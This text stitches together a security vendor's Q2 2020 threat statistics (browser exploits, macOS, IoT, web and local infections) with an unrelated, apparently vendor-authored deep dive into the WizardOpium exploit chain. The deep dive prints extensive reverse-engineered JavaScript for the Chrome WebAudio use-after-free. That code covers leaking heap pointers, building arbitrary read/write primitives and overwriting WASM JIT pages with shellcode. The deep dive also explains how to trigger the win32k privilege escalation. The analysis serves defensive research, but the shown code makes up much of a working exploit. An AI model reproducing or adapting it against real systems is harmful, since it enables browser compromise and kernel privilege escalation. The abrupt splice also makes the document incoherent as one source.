The second category (exploits for popular browsers) accounted for about 12% in Q2, its share increasing slightly when compared to the previous period. During the reporting period, cybercriminals attacked Firefox using the CVE-2020-6819 vulnerability, which allows malicious code to be executed when an HTTP header is parsed incorrectly. Exploits that use the vulnerabilities in the ReadableStream interface, such as CVE-2020-6820, have been observed as well. No major vulnerability exploited to spread malware was observed during the reporting period for any of the other popular browsers: Google Chrome, Microsoft Edge, or Internet Explorer. However, fixes for a number of vulnerabilities that could potentially have been used for creating exploits, but were detected by researchers in time, were announced to software manufacturers.

Distribution of exploits used by cybercriminals, by type of attacked application, Q2 2020 (download)

The first quarter set a trend for researching font and other graphic primitives subsystems in Windows. In Q2, two vulnerabilities were discovered in Windows Codecs Library, assigned CVE-2020-1425 and CVE-2020-1457 codes. Both were fixed, and neither is known to have been exploited in the wild. Another interesting vulnerability fixed in the last quarter is CVE-2020-1300. It allows for remote execution of code due to incorrect processing of Cabinet files, for example, if the user is trying to run a malicious CAB file pretending to be a printer driver. Notably, the CVE-2020-1299 vulnerability allowed the attacker to execute arbitrary code with the user’s privileges by generating a specially formatted LNK file.

The trend for brute-forcing of Remote Desktop Services, Microsoft SQL Services and SMB access passwords persisted in Q2 2020. No full-on network attacks that exploited new vulnerabilities in network exchange protocols were detected. However, software developers did discover and fix several vulnerabilities in popular network services. Among the most interesting ones were CVE-2020-1301 for SMBv1, which allowed the attacker to execute code remotely on a target system. CVE-2020-0796 (SmbGhost), a popular SMBv3 vulnerability among researchers, received unexpected follow-up in the form of an exploit that allowed compromising the system without interacting with the user. The same protocol version was found to contain an error, designated as CVE-2020-1206 and known as the SMBleed vulnerability, which allowed the attacker to get a portion of the Windows kernel memory. The researchers even published several exploit versions that used a bundle of SMBleed and SMBGhost to execute the code with system privileges. In that mode, the attacker can install any software and access any information on the computer.

Attacks on Apple macOS

In Q2 2020, we discovered new versions of previously known threats and one new backdoor, which received the verdict of Backdoor.OSX.Lador.a. The malware is notable for being written in Go, a language gaining popularity as a means to create malware aimed at the macOS platform. If you compare the size of the Lador file with any backdoor created in Objective C, the difference will be very significant: the size of a Lador file is 5.5 megabytes, i.e. many times larger. And all this for the sake of remote access to the infected machine and execution of arbitrary code downloaded from the control center.

Top 20 threats for macOS

* Unique users attacked by this malware as a percentage of all users of Kaspersky security solutions for macOS that were attacked.

The rankings of the most common threats for the macOS platform has not changed much compared to the previous quarter and is still largely made up of adware. As in Q1 2020, Shlayer (12.07%) was the most common Trojan. That malware loads adware from the Pirrit, Bnodlero and Cimpli families, which populate our TOP 20.

The Lador.a backdoor, which we mentioned above, entered the rankings along with adware.

Finally, in Q2 2020, a group of potentially unwanted programs collectively detected as HistGrabber.b joined the rankings. The main purpose of such software is to unpack archives, but HistGrabber.b also quietly uploaded the user’s browsing history to the developer’s servers. This is nothing new: all applications that steal browsing history have long been withdrawn from the App Store, and servers that could receive the data, disabled. Nevertheless, we deem it necessary to inform users of any such software discovered on their devices.

Threat geography

Threat geography for the macOS platform, Q2 2020 (download)

TOP 10 countries

* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for MacOS (under 5,000).
** Unique users attacked in the country as a percentage of all users of Kaspersky security solutions for MacOS in the same country.

The most common threats in all the countries on the list without exception bundled various adware with the Shlayer Trojan.

IoT attacks

IoT threat statistics

Q2 2020 saw no dramatic change in cybercriminal activity targeting IoT devices: attackers most frequently ran Telnet login and password brute-force campaigns.

Distribution of attacked services by number of unique IP addresses of attacking devices, Q2 2020

Further communication with IoT devices that pretended to be infected (and actually traps), was much more often conducted via Telnet.

Distribution of cybercriminals’ working sessions with Kaspersky traps, Q2 2020

Geography of IP addresses of device from which attacks on Kaspersky Telnet traps originated, Q2 2020 (download)

TOP 10 countries by location of devices from which Telnet-based attacks were carried out on Kaspersky traps

* Share of devices from which attacks were carried out in the country out of the total number of devices

The three countries with the most devices that launched attacks on Kaspersky Telnet traps remained virtually unchanged. China (12.75%) was first, while Brazil (11.88%) and Egypt (8.32%) swapped positions.

Geography of IP addresses of device from which attacks on Kaspersky SSH traps originated, Q2 2020 (download)

TOP 10 countries by location of devices from which SSH-based attacks were carried out on Kaspersky traps

* Share of devices from which attacks were carried out in the country out of the total number of devices

As with Telnet, the three countries where the most attacks on SSH traps originated remained unchanged from Q1 2020: China (22.12%), U.S. (10.91%) and Vietnam (8.20%).

Threats loaded into traps

* Share of the malware type in the total amount of malware downloaded to IoT devices following a successful attack.

As in the first quarter, the NyaDrop Trojan led by the number of loads onto traps. The Mirai Trojan family retained its relevance in Q2 2020, occupying half of our IoT threat rankings.

Attacks via web resources

The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Malicious websites are specially created by cybercriminals; web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected.

Countries that are sources of web-based attacks: TOP 10

The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C2 centers, etc.). Any unique host could be the source of one or more web-based attacks.

To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established.

In Q2 2020, Kaspersky solutions defeated 899,744,810 attacks launched from online resources located in 191 countries across the globe. A total of 286,229,445 unique URLs were recognized as malicious by Web Anti-Virus components.

Distribution of web-based attack sources by country, Q2 2020 (download)

Countries where users faced the greatest risk of online infection

To assess the risk of online infection faced by users in different countries, for each country we calculated the share of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.

This rating only includes attacks by malicious objects that fall under the Malware class; it does not include Web Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries with relatively few Kaspersky users (under 10,000).
** Unique users targeted by Malware-class attacks as a share of all unique Kaspersky users in the country.

These statistics are based on detection verdicts returned by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data.

On average, 5.73% of Internet user computers worldwide experienced at least one Malware-class attack.

Geography of malicious web-based attacks, Q2 2020 (download)

Local threats

In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users’ computers or removable media connected to computers (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs included in complex installers, encrypted files, etc.).

In Q2 2020, our File Anti-Virus detected 80,993,511 malware and potentially unwanted objects.

Countries where users faced the highest risk of local infection

For each country, we calculated the percentage of Kaspersky users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.

Note that the rating includes only Malware-class attacks; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries with relatively few Kaspersky users (under 10,000).
** Unique users on whose computers Malware-class local threats were blocked, as a share of all unique users of Kaspersky products in the country.

Geography of local infection attempts, Q2 2020 (download)

Overall, 17.05% of user computers globally faced at least one Malware-class local threat during Q2 2020.

Back in October 2019 we detected a classic watering-hole attack on a North Korea-related news site that exploited a chain of Google Chrome and Microsoft Windows zero-days. While we’ve already published blog posts briefly describing this operation (available here and here), in this blog post we’d like to take a deep technical dive into the exploits and vulnerabilities used in this attack.

Google Chrome remote code execution exploit

In the original blog post we described the exploit loader responsible for initial validation of the target and execution of the next stage JavaScript code containing the full browser exploit. The exploit is huge because, besides code, it contains byte arrays with shellcode, a Portable Executable (PE) file and WebAssembly (WASM) module used in the later stages of exploitation. The exploit abused a vulnerability in the WebAudio OfflineAudioContext interface and was targeting two release builds of Google Chrome 76.0.3809.87 and 77.0.3865.75. However, the vulnerability was introduced long before that and much earlier releases with a WebAudio component are also vulnerable. At the time of our discovery the current version of Google Chrome was 78, and while this version was also affected, the exploit did not support it and had a number of checks to ensure that it would only be executed on affected versions to prevent crashes. After our report, the vulnerability was assigned CVE-2019-13720 and was fixed in version 78.0.3904.87 with the following commit. A use-after-free (UAF) vulnerability, it could be triggered due to a race condition between the Render and Audio threads:

if (!buffer) {
+	BaseAudioContext::GraphAutoLocker context_locker(Context());
+	MutexLocker locker(process_lock_);
 	reverb_.reset();
 	shared_buffer_ = nullptr;
 	return;

As you can see, when the audio buffer is set to null in ConvolverNode and an active buffer already exists within the Reverb object, the function SetBuffer() can destroy reverb_ and shared_buffer_ objects.

class MODULES_EXPORT ConvolverHandler final : public AudioHandler {
...
  std::unique_ptr<Reverb> reverb_;
  std::unique_ptr<SharedAudioBuffer> shared_buffer_;
...

These objects might still be in use by the Render thread because there is no proper synchronization between the two threads in the code. A patch added two missing locks (graph lock and process lock) for when the buffer is nullified.

The exploit code was obfuscated, but we were able to fully reverse engineer it and reveal all the small details. By looking at the code, we can see the author of the exploit has excellent knowledge of the internals of specific Google Chrome components, especially the PartitionAlloc memory allocator. This can clearly be seen from the snippets of reverse engineered code below. These functions are used in the exploit to retrieve useful information from internal structures of the allocator, including: SuperPage address, PartitionPage address by index inside the SuperPage, the index of the used PartitionPage and the address of PartitionPage metadata. All constants are taken from partition_alloc_constants.h:

function getSuperPageBase(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let superPageBaseMask = ~superPageOffsetMask;
	let superPageBase = addr & superPageBaseMask;
	return superPageBase;
}
 
function getPartitionPageBaseWithinSuperPage(addr, partitionPageIndex) {
	let superPageBase = getSuperPageBase(addr);
	let partitionPageBase = partitionPageIndex << BigInt(14);
	let finalAddr = superPageBase + partitionPageBase;
	return finalAddr;
}
 
function getPartitionPageIndex(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
	return partitionPageIndex;
}
 
function getMetadataAreaBaseFromPartitionSuperPage(addr) {
	let superPageBase = getSuperPageBase(addr);
	let systemPageSize = BigInt(0x1000);
	return superPageBase + systemPageSize;
}
 
function getPartitionPageMetadataArea(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
	let pageMetadataSize = BigInt(0x20);
	let partitionPageMetadataPtr = getMetadataAreaBaseFromPartitionSuperPage(addr) + partitionPageIndex * pageMetadataSize;
	return partitionPageMetadataPtr;
}

It’s interesting that the exploit also uses the relatively new built-in BigInt class to handle 64-bit values; authors usually use their own primitives in exploits.

At first, the code initiates OfflineAudioContext and creates a huge number of IIRFilterNode objects that are initialized via two float arrays.

let gcPreventer = [];
let iirFilters = [];
 
function initialSetup() {
	let audioCtx = new OfflineAudioContext(1, 20, 3000);
 
	let feedForward = new Float64Array(2);
	let feedback = new Float64Array(1);
 
	feedback[0] = 1;
	feedForward[0] = 0;
	feedForward[1] = -1;
 
	for (let i = 0; i < 256; i++)
        iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));
}

After that, the exploit begins the initial stage of exploitation and tries to trigger a UAF bug. For that to work the exploit creates the objects that are needed for the Reverb component. It creates another huge OfflineAudioContext object and two ConvolverNode objects – ScriptProcessorNode to start audio processing and AudioBuffer for the audio channel.

async function triggerUaF(doneCb) {
	let audioCtx = new OfflineAudioContext(2, 0x400000, 48000);
	let bufferSource = audioCtx.createBufferSource();
	let convolver = audioCtx.createConvolver();
	let scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);
	let channelBuffer = audioCtx.createBuffer(1, 1, 48000);
 
	convolver.buffer = channelBuffer;
	bufferSource.buffer = channelBuffer;
 
	bufferSource.loop = true;
	bufferSource.loopStart = 0;
	bufferSource.loopEnd = 1;
 
	channelBuffer.getChannelData(0).fill(0);
 
	bufferSource.connect(convolver);
	convolver.connect(scriptNode);
	scriptNode.connect(audioCtx.destination);
 
	bufferSource.start();
 
	let finished = false;
 
	scriptNode.onaudioprocess = function(evt) {
    		let channelDataArray = new Uint32Array(evt.inputBuffer.getChannelData(0).buffer);
 
    		for (let j = 0; j < channelDataArray.length; j++) {
        		if (j + 1 < channelDataArray.length && channelDataArray[j] != 0 && channelDataArray[j + 1] != 0) {
            			let u64Array = new BigUint64Array(1);
            			let u32Array = new Uint32Array(u64Array.buffer);
            			u32Array[0] = channelDataArray[j + 0];
            			u32Array[1] = channelDataArray[j + 1];
 
            			let leakedAddr = byteSwapBigInt(u64Array[0]);
            			if (leakedAddr >> BigInt(32) > BigInt(0x8000))
                			leakedAddr -= BigInt(0x800000000000);
             			let superPageBase = getSuperPageBase(leakedAddr);
 
	             		if (superPageBase > BigInt(0xFFFFFFFF) && superPageBase < BigInt(0xFFFFFFFFFFFF)) {
                			finished = true;
                			evt = null;
 
                			bufferSource.disconnect();
                			scriptNode.disconnect();
                			convolver.disconnect();
 
                			setTimeout(function() {
                     			doneCb(leakedAddr);
                			}, 1);
 
                			return;
            			}
        		}
    		}
	};
 
	audioCtx.startRendering().then(function(buffer) {
    		buffer = null;
 
    		if (!finished) {
        	 	finished = true;
       	  	triggerUaF(doneCb);
    		}
	});
 
	while (!finished) {
    		convolver.buffer = null;
    		convolver.buffer = channelBuffer;
    		await later(100); // wait 100 millseconds
	}
};

This function is executed recursively. It fills the audio channel buffer with zeros, starts rendering offline and at the same time runs a loop that nullifies and resets the channel buffer of the ConvolverNode object and tries to trigger a bug. The exploit uses the later() function to simulate the Sleep function, suspend the current thread and let the Render and Audio threads finish execution right on time:

function later(delay) {
	return new Promise(resolve => setTimeout(resolve, delay));
}

During execution the exploit checks if the audio channel buffer contains any data that differs from the previously set zeroes. The existence of such data would mean the UAF was triggered successfully and at this stage the audio channel buffer should contain a leaked pointer.

The PartitionAlloc memory allocator has a special exploit mitigation that works as follows: when the memory region is freed, it byteswaps the address of the pointer and after that the byteswapped address is added to the FreeList structure. This complicates exploitation because the attempt to dereference such a pointer will crash the process. To bypass this technique the exploit uses the following primitive that simply swaps the pointer back:

function byteSwapBigInt(x) {
	let result = BigInt(0);
	let tmp = x;
 
	for (let i = 0; i < 8; i++) {
    		result = result << BigInt(8);
    		result += tmp & BigInt(0xFF);
    		tmp = tmp >> BigInt(8);
	}
 
	return result;
}

The exploit uses the leaked pointer to get the address of the SuperPage structure and verifies it. If everything goes to plan, then it should be a raw pointer to a temporary_buffer_ object of the ReverbConvolverStage class that is passed to the callback function initialUAFCallback.

let sharedAudioCtx;
let iirFilterFeedforwardAllocationPtr;
 
function initialUAFCallback(addr) {
	sharedAudioCtx = new OfflineAudioContext(1, 1, 3000);
 
	let partitionPageIndexDelta = undefined;
	switch (majorVersion) {
    		case 77: // 77.0.3865.75
        	 	partitionPageIndexDelta = BigInt(-26);
        	break;
    		case 76: // 76.0.3809.87
         		partitionPageIndexDelta = BigInt(-25);
      	   	break;
	}
 
	iirFilterFeedforwardAllocationPtr = getPartitionPageBaseWithinSuperPage(addr, getPartitionPageIndex(addr) + partitionPageIndexDelta) + BigInt(0xFF0);
 
    triggerSecondUAF(byteSwapBigInt(iirFilterFeedforwardAllocationPtr), finalUAFCallback);
}

The exploit uses the leaked pointer to get the address of the raw pointer to the feedforward_ array with the AudioArray<double> type that is present in the IIRProcessor object created with IIRFilterNode. This array should be located in the same SuperPage, but in different versions of Chrome this object is created in different PartitionPages and there is a special code inside initialUAFCallback to handle that.

The vulnerability is actually triggered not once but twice. After the address of the right object is acquired, the vulnerability is exploited again. This time the exploit uses two AudioBuffer objects of different sizes, and the previously retrieved address is sprayed inside the larger AudioBuffer. This function also executes recursively.

let floatArray = new Float32Array(10);
let audioBufferArray1 = [];
let audioBufferArray2 = [];
let imageDataArray = [];
 
async function triggerSecondUAF(addr, doneCb) {
	let counter = 0;
	let numChannels = 1;
 
	let audioCtx = new OfflineAudioContext(1, 0x100000, 48000);
 
	let bufferSource = audioCtx.createBufferSource();
	let convolver = audioCtx.createConvolver();
 
	let bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);
	let smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);
 
	smallAudioBuffer.getChannelData(0).fill(0);
 
	for (let i = 0; i < numChannels; i++) {
    		let channelDataArray = new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);
    		channelDataArray[0] = addr;
	}
 
	bufferSource.buffer = bigAudioBuffer;
	convolver.buffer = smallAudioBuffer;
 
	bufferSource.loop = true;
	bufferSource.loopStart = 0;
	bufferSource.loopEnd = 1;
 
	bufferSource.connect(convolver);
	convolver.connect(audioCtx.destination);
 
	bufferSource.start();
 
	let finished = false;
 
     	audioCtx.startRendering().then(function(buffer) {
     		buffer = null;
 
    		if (finished) {
        		audioCtx = null;
 
        		setTimeout(doneCb, 200);
        		return;
    		} else {
        		finished = true;
 
        		setTimeout(function() {
             		triggerSecondUAF(addr, doneCb);
        		}, 1);
    		}
	});
 
	while (!finished) {
    		counter++;
 
    		convolver.buffer = null;
 
    		await later(1); // wait 1 millisecond
 
    		if (finished)
         		break;
 
    		for (let i = 0; i < iirFilters.length; i++) {
        		floatArray.fill(0);
          	   iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
 
         		if (floatArray[0] != 3.1415927410125732) {
             			finished = true;
 
             	     		audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
                 		audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
 
            			bufferSource.disconnect();
            			convolver.disconnect();
 
            			return;
        		}
    		}
 
    		convolver.buffer = smallAudioBuffer;
 
    		await later(1); // wait 1 millisecond
	}
}

This time the exploit uses the function getFrequencyResponse() to check if exploitation was successful. The function creates an array of frequencies that is filled with a Nyquist filter and the source array for the operation is filled with zeroes.

void IIRDSPKernel::GetFrequencyResponse(int n_frequencies,
                                    	const float* frequency_hz,
                                    	float* mag_response,
                                    	float* phase_response) {
...
  Vector<float> frequency(n_frequencies);
  double nyquist = this->Nyquist();
  // Convert from frequency in Hz to normalized frequency (0 -> 1),
  // with 1 equal to the Nyquist frequency.
  for (int k = 0; k < n_frequencies; ++k)
	frequency[k] = frequency_hz[k] / nyquist;
...

If the resulting array contains a value other than π, it means exploitation was successful. If that’s the case, the exploit stops its recursion and executes the function finalUAFCallback to allocate the audio channel buffer again and reclaim the previously freed memory. This function also repairs the heap to prevent possible crashes by allocating various objects of different sizes and performing defragmentation of the heap. The exploit also creates BigUint64Array, which is used later to create an arbitrary read/write primitive.

async function finalUAFCallback() {
	for (let i = 0; i < 256; i++) {
    		floatArray.fill(0);
 
         	iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
 
    		if (floatArray[0] != 3.1415927410125732) {
        		await collectGargabe();
 
        		audioBufferArray2 = [];
 
        		for (let j = 0; j < 80; j++)
                 		audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));
 
        		iirFilters = new Array(1);
    	     		await collectGargabe();
 
        		for (let j = 0; j < 336; j++)
            			imageDataArray.push(new ImageData(1, 2));
        		imageDataArray = new Array(10);
        		await collectGargabe();
 
        		for (let j = 0; j < audioBufferArray1.length; j++) {
            			let auxArray = new BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);
            			if (auxArray[0] != BigInt(0)) {
                			kickPayload(auxArray);
                			return;
            			}
             		}
 
        		return;
    		}
	}
}

Heap defragmentation is performed with multiple calls to the improvised collectGarbage function that creates a huge ArrayBuffer in a loop.

function collectGargabe() {
	let promise = new Promise(function(cb) {
    		let arg;
    		for (let i = 0; i < 400; i++)
        		new ArrayBuffer(1024 * 1024 * 60).buffer;
    		cb(arg);
	});
	return promise;
}

After those steps, the exploit executes the function kickPayload() passing the previously created BigUint64Array containing the raw pointer address of the previously freed AudioArray’s data.

async function kickPayload(auxArray) {
	let audioCtx = new OfflineAudioContext(1, 1, 3000);
	let partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));
	auxArray[0] = byteSwapBigInt(partitionPagePtr);
	let i = 0;
	do {
    		gcPreventer.push(new ArrayBuffer(8));
    		if (++i > 0x100000)
        		return;
	} while (auxArray[0] != BigInt(0));
	let freelist = new BigUint64Array(new ArrayBuffer(8));
	gcPreventer.push(freelist);
	...

The exploit manipulates the PartitionPage metadata of the freed object to achieve the following behavior. If the address of another object is written in BigUint64Array at index zero and if a new 8-byte object is created and the value located at index 0 is read back, then a value located at the previously set address will be read. If something is written at index 0 at this stage, then this value will be written to the previously set address instead.

function read64(rwHelper, addr) {
	rwHelper[0] = addr;
	var tmp = new BigUint64Array;
	tmp.buffer;
	gcPreventer.push(tmp);
	return byteSwapBigInt(rwHelper[0]);
}
 
function write64(rwHelper, addr, value) {
	rwHelper[0] = addr;
	var tmp = new BigUint64Array(1);
	tmp.buffer;
	tmp[0] = value;
	gcPreventer.push(tmp);
}

After the building of the arbitrary read/write primitives comes the final stage – executing the code. The exploit achieves this by using a popular technique that exploits the Web Assembly (WASM) functionality. Google Chrome currently allocates pages for just-in-time (JIT) compiled code with read/write/execute (RWX) privileges and this can be used to overwrite them with shellcode. At first, the exploit initiates a “stub” WASM module and it results in the allocation of memory pages for JIT compiled code.

const wasmBuffer = new Uint8Array([...]);
const wasmBlob = new Blob([wasmBuffer], {
	type: "application/wasm"
});
 
const wasmUrl = URL.createObjectURL(wasmBlob);
var wasmFuncA = undefined;
WebAssembly.instantiateStreaming(fetch(wasmUrl), {}).then(function(result) {
	wasmFuncA = result.instance.exports.a;
});

To execute the exported function wasmFuncA, the exploit creates a FileReader object. When this object is initiated with data it creates a FileReaderLoader object internally. If you can parse PartitionAlloc allocator structures and know the size of the next object that will be allocated, you can predict which address it will be allocated to. The exploit uses the getPartitionPageFreeListHeadEntryBySlotSize() function with the provided size and gets the address of the next free block that will be allocated by FileReaderLoader.

let fileReader = new FileReader;
let fileReaderLoaderSize = 0x140;
let fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (!fileReaderLoaderPtr)
	return;
 
fileReader.readAsArrayBuffer(new Blob([]));
 
let fileReaderLoaderTestPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (fileReaderLoaderPtr == fileReaderLoaderTestPtr)
	return;

The exploit obtains this address twice to find out if the FileReaderLoader object was created and if the exploit can continue execution. The exploit sets the exported WASM function to be a callback for a FileReader event (in this case, an onerror callback) and because the FileReader type is derived from EventTargetWithInlineData, it can be used to get the addresses of all its events and the address of the JIT compiled exported WASM function.

fileReader.onerror = wasmFuncA;
 
let fileReaderPtr = read64(freelist, fileReaderLoaderPtr + BigInt(0x10)) - BigInt(0x68);
 
let vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));
let registeredEventListenerPtr = read64(freelist, vectorPtr);
let eventListenerPtr = read64(freelist, registeredEventListenerPtr);
let eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));
let jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));
 
let jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);
let sharedFuncInfoPtr = read64(freelist, jsFunctionPtr + BigInt(0x18)) - BigInt(1);
let wasmExportedFunctionDataPtr = read64(freelist, sharedFuncInfoPtr + BigInt(0x8)) - BigInt(1);
let wasmInstancePtr = read64(freelist, wasmExportedFunctionDataPtr + BigInt(0x10)) - BigInt(1);
 
let stubAddrFieldOffset = undefined;
switch (majorVersion) {
	case 77:
    		stubAddrFieldOffset = BigInt(0x8) * BigInt(16);
	break;
	case 76:
    		stubAddrFieldOffset = BigInt(0x8) * BigInt(17);
	break
}
 
let stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);

The variable stubAddr contains the address of the page with the stub code that jumps to the JIT compiled WASM function. At this stage it’s sufficient to overwrite it with shellcode. To do so, the exploit uses the function getPartitionPageFreeListHeadEntryBySlotSize() again to find the next free block of 0x20 bytes, which is the size of the structure for the ArrayBuffer object. This object is created when the exploit creates a new audio buffer.

let arrayBufferSize = 0x20;
let arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, arrayBufferSize);
if (!arrayBufferPtr)
	return;
 
let audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);
gcPreventer.push(audioBuffer);

The exploit uses arbitrary read/write primitives to get the address of the DataHolder class that contains the raw pointer to the data and size of the audio buffer. The exploit overwrites this pointer with stubAddr and sets a huge size.

let dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));
 
write64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);
write64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));

Now all that’s needed is to implant a Uint8Array object into the memory of this audio buffer and place shellcode there along with the Portable Executable that will be executed by the shellcode.

let payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);
payloadArray.set(shellcode, 0);
payloadArray.set(peBinary, shellcode.length);

To prevent the possibility of a crash the exploit clears the pointer to the top of the FreeList structure used by the PartitionPage.

write64(freelist, partitionPagePtr, BigInt(0));

Now, in order to execute the shellcode, it’s enough to call the exported WASM function.

try {
	wasmFuncA();
} catch (e) {}

Microsoft Windows elevation of privilege exploit

The shellcode appeared to be a Reflective PE loader for the Portable Executable module that was also present in the exploit. This module mostly consisted of the code to escape Google Chrome’s sandbox by exploiting the Windows kernel component win32k for the elevation of privileges and it was also responsible for downloading and executing the actual malware. On closer analysis, we found that the exploited vulnerability was in fact a zero-day. We notified Microsoft Security Response Center and they assigned it CVE-2019-1458 and fixed the vulnerability. The win32k component has something of bad reputation. It has been present since Windows NT 4.0 and, according to Microsoft, it is responsible for more than 50% of all kernel security bugs. In the last two years alone Kaspersky has found five zero-days in the wild that exploited win32k vulnerabilities. That’s quite an interesting statistic considering that since the release of Windows 10, Microsoft has implemented a number of mitigations aimed at complicating exploitation of win32k vulnerabilities and the majority of zero-days that we found exploited versions of Microsoft Windows prior to the release of Windows 10 RS4. The elevation of privilege exploit used in Operation WizardOpium was built to support Windows 7, Windows 10 build 10240 and Windows 10 build 14393. It’s also important to note that Google Chrome has a special security feature called Win32k lockdown. This security feature eliminates the whole win32k attack surface by disabling access to win32k syscalls from inside Chrome processes. Unfortunately, Win32k lockdown is only supported on machines running Windows 10. So, it’s fair to assume that Operation WizardOpium targeted users running Windows 7.

CVE-2019-1458 is an Arbitrary Pointer Dereference vulnerability. In win32k Window objects are represented by a tagWND structure. There are also a number of classes based on this structure: ScrollBar, Menu, Listbox, Switch and many others. The FNID field of tagWND structure is used to distinguish the type of class. Different classes also have various extra data appended to the tagWND structure. This extra data is basically just different structures that often include kernel pointers. Besides that, in the win32k component there’s a syscall SetWindowLongPtr that can be used to set this extra data (after validation of course). It’s worth noting that SetWindowLongPtr was related to a number of vulnerabilities in the past (e.g., CVE-2010-2744, CVE-2016-7255, and CVE-2019-0859). There’s a common issue when pre-initialized extra data can lead to system procedures incorrectly handling. In the case of CVE-2019-1458, the validation performed by SetWindowLongPtr was just insufficient.

xxxSetWindowLongPtr(tagWND *pwnd, int index, QWORD data, ...)
	...
	if ( (int)index >= gpsi->mpFnid_serverCBWndProc[(pwnd->fnid & 0x3FFF) - 0x29A] - sizeof(tagWND) )
		...
		extraData = (BYTE*)tagWND + sizeof(tagWND) + index
		old = *(QWORD*)extraData;
		*(QWORD*)extraData = data;
		return old;

A check for the index parameter would have prevented this bug, but prior to the patch the values for FNID_DESKTOP, FNID_SWITCH, FNID_TOOLTIPS inside the mpFnid_serverCBWndProc table were not initialized, rendering this check useless and allowing the kernel pointers inside the extra data to be overwritten.

Triggering the bug is quite simple: at first, you create a Window, then NtUserMessageCall can be used to call any system class window procedure.

gpsi->mpFnidPfn[(dwType + 6) & 0x1F]((tagWND *)wnd, msg, wParam, lParam, resultInfo);

It’s important to provide the right message and dwType parameters. The message needs to be equal to WM_CREATE. dwType is converted to fnIndex internally with the following calculation: (dwType + 6) & 0x1F. The exploit uses a dwType equal to 0xE0. It results in an fnIndex equal to 6 which is the function index of xxxSwitchWndProc and the WM_CREATE message sets the FNID field to be equal to FNID_SWITCH.

LRESULT xxxSwitchWndProc(tagWND *wnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
...
  pti = *(tagTHREADINFO **)&gptiCurrent;
  if ( wnd->fnid != FNID_SWITCH )
  {
    if ( wnd->fnid || wnd->cbwndExtra + 296 < (unsigned int)gpsi->mpFnid_serverCBWndProc[6] )
      return 0i64;
    if ( msg != 1 )
      return xxxDefWindowProc(wnd, msg, wParam, lParam);
    if ( wnd[1].head.h )
      return 0i64;
    wnd->fnid = FNID_SWITCH;
  }
  switch ( msg )
  {
    case WM_CREATE:
      zzzSetCursor(wnd->pcls->spcur, pti, 0i64);
      break;
    case WM_CLOSE:
      xxxSetWindowPos(wnd, 0, 0);
      xxxCancelCoolSwitch();
      break;
    case WM_ERASEBKGND:
    case WM_FULLSCREEN:
      pti->ptl = (_TL *)&pti->ptl;
      ++wnd->head.cLockObj;
      xxxPaintSwitchWindow(wnd, pti, 0i64);
      ThreadUnlock1();
      return 0i64;
  }
  return xxxDefWindowProc(wnd, msg, wParam, lParam);
}

The vulnerability in NtUserSetWindowLongPtr can then be used to overwrite the extra data at index zero, which happens to be a pointer to a structure containing information about the Switch Window. In other words, the vulnerability makes it possible to set some arbitrary kernel pointer that will be treated as this structure.

At this stage it’s enough to call NtUserMessageCall again, but this time with a message equal to WM_ERASEBKGND. This results in the execution of the function xxxPaintSwitchWindow that increments and decrements a couple of integers located by the pointer that we previously set.

sub     [rdi+60h], ebx
add     [rdi+68h], ebx
...
sub     [rdi+5Ch], ecx
add     [rdi+64h], ecx

An important condition for triggering the exploitable code path is that the ALT key needs to be pressed.

